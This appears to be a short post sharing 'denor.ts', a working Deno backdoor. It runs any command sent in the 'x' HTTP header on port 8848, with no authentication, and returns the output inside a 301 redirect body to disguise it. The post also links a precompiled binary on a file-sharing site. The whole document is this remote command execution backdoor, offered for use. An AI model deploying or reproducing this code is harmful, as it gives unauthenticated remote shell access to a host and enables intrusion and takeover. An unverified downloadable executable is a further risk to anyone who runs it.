A simple HTTP RCE code in deno.

denor.ts

// Denor -> Deno Door, refereing to a deno backdoor or just DenoRCE :wink:


const server = Deno.listen({ port: 8848 });


var header = new Headers();
header.append("Location", "/");


for await (const conn of server) {
  serveHttp(conn);
}


async function serveHttp(conn: Deno.Conn) {
  const httpConn = Deno.serveHttp(conn);
  var body = "";

  for await (const requestEvent of httpConn) {
    let cmd = requestEvent.request.headers.get("x") ?? "id";

    try {
    const proc = Deno.run({ cmd: cmd.split(" "), stdout: "piped", stderr: "piped" });
    const { code } = await proc.status();
    const stdout = await proc.output()
    const stderr = await proc.stderrOutput()
    if (code === 0) {
        body = new TextDecoder().decode(stdout);
    } else { body = new TextDecoder().decode(stderr); }
    } catch (err) {
	    body = `Error executing (${cmd}): ${err}\n`;
    }

    // 301 HTTP Response to "/" path, just to have some fun with the clients!
    requestEvent.respondWith(
      new Response(body, {
	    status: 301,
	    headers: header
      }),
    );
  }
}

Compiled binary: https://gofile.io/d/Y7Zd00